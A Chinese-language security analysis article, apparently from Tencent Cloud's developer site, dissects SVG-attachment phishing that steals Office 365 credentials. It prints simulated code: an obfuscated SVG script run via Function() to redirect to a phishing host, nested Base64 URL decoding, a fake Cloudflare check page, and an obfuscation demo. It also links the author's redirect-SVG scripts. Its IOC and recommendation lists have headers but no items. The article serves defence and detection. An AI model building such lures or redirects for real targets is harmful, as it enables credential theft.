SVG文件本质是XML格式,可以内嵌脚本来执行代码 。在钓鱼SVG中,攻击者插入了经过混淆的恶意JavaScript代码,利用<![CDATA[ ... ]]>块包装脚本,使其不影响SVG的XML解析。代码中包含字符串数组和字符编码转换,通过String.fromCharCode()将数组中的数值转为可执行的字符串片段,然后借助Function构造函数动态执行生成的代码。模拟此类代码行为:
<script type="application/ecmascript"><![CDATA[
// 模拟的字符代码数组(实际攻击代码更长更混淆)
var charCodes = [110, 100, 100, 100, 110, 110, 40, 100, 110, 90, 90, 110, 100, 110, 110, 46, 104, 114, 101, 102, 61, 39, 104, 116, 116, 112, 115, 58, 47, 47, 109, 97, 108, 105, 99, 105, 111, 117, 115, 46, 100, 111, 109, 39];
// 将每个字符代码转换为字符并拼接
var scriptStr = charCodes.map(c => String.fromCharCode(c)).join('');
// 动态执行拼接出的代码
Function(scriptStr)();
]]></script>
上面代码中的charCodes数组代表字符的Unicode码点,转为字符串后得到window.location.href='https://malicious.com'这样的恶意指令。实际攻击中,攻击者会将恶意URL和脚本逻辑以字符数组或Base64字符串隐藏,通过多层解码还原真正指令,再使用Function(...)()或eval()执行 。常见做法是将恶意URL用Base64编码多段存放,再嵌套调用atob()解码组合 :
// 伪代码:嵌套Base64解码组合URL
var a = atob( atob('YUhSMGNITTZMeTkwYUdseg==') +
atob('WTI5dWRHRnBibk50WVd4cA==') +
atob('WTJsdmRYTmpiMjUwWlc1MA==') +
atob('TWpRMk9ERXdMbU52YlE9PQ==') );
// 此时a的值为"https://thiscontainsmaliciouscontent246810.com" ([HTML smuggling: How malicious actors use JavaScript and HTML to fly under the radar](https://www.xorlab.com/en/blog/html-smuggling-how-malicious-actors-use-javascript-and-html-to-fly-under-the-radar#:~:text=a%20%3D%20atob,TWpRMk9ERXdMbU52YlE9PQ%3D%3D%27%29))
通过这种方式,脚本在表面上难以看出具体的恶意行为,只有在运行时才拼合出真正的指令和URL。一旦代码组装完成,便会触发浏览器跳转:通常使用window.location.href或location.assign()将浏览器导向攻击者准备的钓鱼链接。值得注意的是,攻击者往往会调用setTimeout设置短暂延迟再跳转,以确保SVG中的引诱内容先显示片刻(例如一个对勾图标表示“加载成功”)。图像渲染后一瞬间,嵌入的JS代码将用户重定向到攻击者的钓鱼站点。整个脚本逻辑高度混淆且动态执行,旨在绕过安全扫描,实现无需用户点击也会自动跳转的效果。
示例代码可以参考作者github:
github.com/Gach0ng/sharepoint-redirect-js-encryption-svg
我是做了sharepoint分享链接的混淆重定向svg,分为点击跳转和延时跳转两个脚本。
恶意SVG脚本拼接出的目标链接指向了攻击者控制的钓鱼域名,涉及多重跳转路径。首次跳转URL通常类似:
https://documents.example520.com/KHDSABC?e=<用户邮箱地址>
可以看出,该URL包含了可疑的域名“example520.com”以及一个随机路径“KHDSABC”,并附加查询参数e携带用户的邮件地址。这种设计有多重目的:
https://example520.com/uztaaaCeRb?office365cloud=true&email=<用户邮箱/base64等>
第二阶段URL切换到主域名example520.com,路径uztaaaCeRb看似随机字符串,并带有参数office365cloud=true等。这一层通常展示伪装的验证页面,例如模拟Cloudflare检查或人机验证(见下节),从而在最终呈现钓鱼内容前加一道“门”。
需要强调的是,域名“example520.com”并非微软的任何合法域。正规Office 365登录域一般为login.microsoftonline.com或office.com等,而本例中的域名仅是仿造包含“office”字样。安全研究已观察到不法分子注册相似域名进行钓鱼,并通过多跳转和动态参数增加混淆。在作者收集到的攻击样本中,首次跳转使用的documents.example520.com子域名更是进一步诱导受害者,让人误以为是在处理文档链接。但实际上,该子域和主域都由攻击者控制,属于同一钓鱼基础架构,应被视作威胁指标加以拦截。
在用户被重定向到攻击者站点后,钓鱼攻击通常不会直接暴露假登录页,而是先呈现一系列伪装的安全检查画面。这一步的目的是两方面:一是增强社会工程的迷惑性,让用户以为当前站点受信任的安全机制保护;二是阻滞安全扫描器的脚本,避免其轻易抵达真正的钓鱼表单。
伪造cf代码示例:
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<title>Just a Moment...</title>
<style>
body { text-align: center; font-family: sans-serif; margin-top: 50px; }
</style>
</head>
<body>
<p>Checking your browser, please wait...</p>
<script>
// 模拟延时验证过程
setTimeout(function() {
// 验证后重定向到最终钓鱼页面
window.location.href = "https://example520.com/";
}, 3000);
</script>
</body>
</html>
(1)仿冒Cloudflare浏览器检查
许多钓鱼站点会模仿Cloudflare的“5秒盾”页面,即显示诸如“正在检查您的浏览器是否安全连接...”的消息和加载动画 。Cloudflare是知名的网络安全/CDN服务,合法网站有时会出现类似提示,用户对此并不陌生。攻击者利用这一点,在其钓鱼域名上展示一个假冒的Cloudflare验证页面。通常会有Cloudflare的徽标或样式,提示用户等待几秒。不少情况下,攻击者直接使用Cloudflare的服务,将钓鱼站点开启“Under Attack Mode”或强制人机挑战,使访问者(尤其是安全爬虫)先通过Cloudflare的验证 。几乎所有此类钓鱼站都加了Cloudflare CAPTCHA,以阻止自动访问,因为这其实很好实现,只要把域名在cf上捆绑注册一个账号即可申请cf官方的CAPTCHA。这意味着安全扫描器可能被挡在验证页,只有真人浏览器(通过Cloudflare的检查)才能继续,从而把安全产品和安全服务对立起来。
(2)假人机验证页面
通过浏览器检查后,用户接着可能遇到一个伪造的“我是人类”验证步骤。这通常表现为要求用户点击一个按钮或勾选一个复选框以证明自己不是机器人,或者如“请确认身份以证明你不是机器人”的提示。事实上,攻击者可以在此阶段融入钓鱼主题。例如,在一些语音邮件钓鱼案例中,页面会弹出“请确认身份以继续听取消息”的对话框,要求用户输入邮箱密码。还有的则简单模拟Google reCAPTCHA或Cloudflare Turnstile,放一个“点此验证”的按钮。无论形式如何,这一步的作用都是引导用户进行一次交互,使其相信接下来的页面是安全的,同时也再次筛掉不执行点击的自动分析工具。
攻击者构造的验证页往往通过URL参数或站点逻辑进行控制。如本例中出现的office365cloud=true参数,可能就是站点用来判定展示Office 365相关验证流程的开关。当该参数为真时,站点首先显示Cloudflare检查画面,接着是Office 365主题的人机验证/登录步骤;若参数缺失或为false,也许站点不会呈现真正的钓鱼表单。这种机制可以防止安全研究人员直接访问主域就看到钓鱼页面,必须带上特定参数或经过前序跳转才能触发。因此,office365cloud=true本身也是一个欺诈性标志,暗示当前流程与Office 365有关但实则为陷阱。
(3)欺骗性元素
除了页面流程外,攻击者还精心加入一些欺骗元素。例如,使用受信任站点的favicon、加载真实的安全证书(很多钓鱼站也会使用HTTPS以获取浏览器绿锁)、甚至从微软官方站点加载部分静态资源。作者调查发现,这些钓鱼页会预先获取Office 365登录对话框的内容或动画效果,给用户以熟悉的视觉反馈 。有的攻击者还将企业的Logo嵌入假登录页以提升可信度。所有这些伪装技术都服务于同一目的:降低用户警惕性,让其相信接下来的登录请求是正常的安全流程的一部分。
综上,用户在点击邮件中的SVG附件并经历跳转后,可能并未意识到已经进入了攻击者控制的域名,因为一路所见都是看似合理的验证步骤(Cloudflare检查、人机验证等)。只有那些留意浏览器地址栏或异常者,才能察觉域名的不对劲。对于大多数用户来说,这层层伪装足以将他们带到最后的钓鱼陷阱而不自知。
本次攻击的JavaScript代码和页面结构使用了多种混淆和防分析技巧,增加逆向工程难度,同时尽可能阻碍用户察觉和干预:
(Scalable Vector Graphics files pose a novel phishing threat – Sophos News)图:恶意SVG文件内容片段。
攻击者在<svg>标签内设置了大量事件属性来禁用用户操作,并使用脚本提取目标邮箱构造跳转链接。
混淆代码示例:
<script>
// 简单混淆函数:替换变量名,并添加伪代码片段
function obfuscate(code) {
// 示例:将“important”替换为无意义的变量名
const vars = { 'important': 'a1b2' };
Object.keys(vars).forEach(key => {
code = code.replace(new RegExp(key, 'g'), vars[key]);
});
// 添加无实际意义的循环作为迷惑元素
code += "\nvar dummy = '';\nfor (var i = 0; i < 100; i++) { dummy += i; }";
return code;
}
// 原始代码示例
let originalCode = "if (important) { console.log('Executing'); }";
let obfuscatedCode = obfuscate(originalCode);
console.log("混淆后的代码:\n", obfuscatedCode);
</script>
字符串/数组混淆
正如前文提到,攻击代码不会明文出现URL或关键函数名,而是以字符编码数组、拼接字符串、或嵌套Base64等方式隐藏 。例如
window.location="https://attacker.com/phish"
拆解成字符代码,再运行时还原。这种代码混淆手段非常普遍,以逃避基于特征字符串的检测 。
多层解码
除了基本的String.fromCharCode外,常见还会组合atob()(Base64解码)、unescape()/decodeURI()(URL解码)等函数多层嵌套使用。作者分析得到嵌套解码函数是HTML/SVG钓鱼常用的顶级技巧 。通过多层编码,静态分析工具必须模拟执行才能得到真实payload,提高了分析难度。
CDATA块与注释
攻击者将脚本包裹在<![CDATA[ ... ]]>中,这不仅是SVG中嵌入脚本的规范写法,也可以避免某些安全扫描器误解析脚本内容。甚至,有些样本在SVG中插入大量无关的注释或数据来掩盖真实意图。作者在收集来的攻击附件样本中发现,SVG嵌入了大段维基百科文章内容作为注释填充,以增加文件大小和噪音 。
变量名随机化
恶意脚本通常充斥着无意义的变量/函数名(如_0x562ff4、raccoonclientemail等)以迷惑分析者。上述样本代码中就出现了raccoonclientemail、_17d1a004a等变量,这些看似随机的名称没有上下文意义,使得理解代码逻辑变得困难。变量名可能每次生成都不同,防止基于字符串的检测规则。
伪代码段与执行顺序控制
攻击者有时插入一些不会实际执行的“伪代码”来误导分析,例如定义未被用到的函数,或构造一个看似完整却无用的代码段。更常见的是利用setTimeout、requestAnimationFrame等延迟执行函数,将关键操作延后执行 。这既可以确保先显示SVG内的引诱性元素,又可能绕过某些只扫描页面初始状态的防护。有些SVG在用户未点击任何内容的情况下,隔几秒便自动加载出钓鱼页面 ——这正是通过延迟脚本实现的效果。
禁止用户操作(反调试)
值得注意的是,攻击者不但防范安全工具,也防范用户自行检查。正如上图所示,SVG的根元素被赋予了一系列事件处理属性:oncontextmenu="return false" 禁用右键菜单,ondblclick="return false" 禁用双击,oncopy/onpaste/onkeydown等均设置为return false,甚至onmouseup调用event.preventDefault()。这些设置会全面禁止用户在页面上的复制、粘贴、检查元素、F12审查等常见操作,大大增加了用户手动检查发现异常的难度。此外,一些钓鱼页面可能检测开发者工具的开启,一旦察觉调试行为就暂停运行或跳转走,从而阻碍安全人员调试分析。
上述反制手段的组合,使得攻击的分析与检测更加复杂。代码混淆和多层编码隐蔽了真正的恶意逻辑,而反用户交互措施则尽量确保受害者一路按照攻击者设计的流程进行,而无法轻易中途退出或获取线索。总而言之,这些技术共同营造出一个对攻击者有利的环境:安全产品难以拦截,用户难以察觉或干预。
一旦用户通过前面的重重验证抵达最终的落地页面,攻击者便会呈现精心伪装的钓鱼界面以套取敏感信息。就本次案例而言,最终页面与Microsoft Office 365登录流程高度相关,具体可能有两种展现方式。
(Scalable Vector Graphics files pose a novel phishing threat – Sophos News)图:伪装成语音信箱门户的钓鱼页面示例。页面要求用户输入邮箱(已预填)和密码“验证身份”,实际为窃取凭据的手段。 尽管形式上不直接说“登录 Office 365”,但要求输入的邮箱密码实际上就是用户的Microsoft账号密码。攻击者利用“验证身份/解密文档”等借口,使用户觉得输入密码是合理的步骤。
无论哪种展现方式,钓鱼页面都会诱导用户提交他们的登录凭据。成功骗取的邮箱账号和密码会立刻被攻击者站点捕获存储。而更先进的攻击属于“中间人”类型:攻击者不止记录密码,还会实时与微软服务器交互。这种攻击属于AITM攻击,攻击者在用户提交凭据时,后台立即转交给真正的Microsoft认证服务验证。如果密码不正确,假页面会反馈“密码错误,请重试”,引导用户重新输入 。这一过程会反复直到拿到正确密码为止,确保攻击者获得有效凭据。而如果启用了双重认证,某些AITM工具还能提示用户输入二次验证码,然后在后台利用该验证码完成真正的登录,截获会话Cookie或令牌。作者观察到,不少此类钓鱼站在用户输入凭据后,会将数据立即发送到多个远程服务器甚至通过Telegram机器人转发,以确保获取的信息妥善到手。
成功偷到账号密码后,攻击者可能有多种后续利用手段,包括但不限于:
最终钓鱼页面的用户诱导性极强。一般用户看到熟悉的登录界面或验证提示,往往因为前面经历了“安全检查”等步骤而放松警惕,认为输入密码是合理的要求。一旦配合,攻击者便获得了进入其账户的大门钥匙。如果不是及时发现异常并更改密码,用户账号可能在不知不觉中被彻底接管。而即便改密,若攻击者提前取得了会话令牌,仍可能继续访问账户(直到令牌失效或被吊销)。因此,此类钓鱼的危害不仅在于窃取静态密码,还在于可能实时地劫持会话绕过额外防护。
威胁指标(IOC):通过此次事件,我们提取出以下值得关注的指标和特征,供安全防御检测使用:
安全建议:针对上述攻击链,建议从邮件网关、终端、防火墙/浏览器多个层面加强防护:
综上,本次SVG钓鱼攻击展示了高度隐蔽和多层次的技巧,从邮件附件一直到最终伪装登录,无缝衔接。安全团队需要综合运用IOC检测、策略阻断和用户教育等手段,在攻击链的各个环节布防,才能有效遏制此类新型钓鱼手法造成的危害 。通过持续更新情报、优化规则以及提高用户警觉性,我们可以大大降低这类攻击的成功率,保护企业帐户和信息安全。
扫码关注腾讯云开发者
领取腾讯云代金券
Copyright © 2013 - 2025 Tencent Cloud. All Rights Reserved. 腾讯云 版权所有
深圳市腾讯计算机系统有限公司 ICP备案/许可证号:粤B2-20090059 深公网安备号 44030502008569
腾讯云计算(北京)有限责任公司 京ICP证150476号 | 京ICP备11018762号 | 京公网安备号11010802020287
Copyright © 2013 - 2025 Tencent Cloud.
All Rights Reserved. 腾讯云 版权所有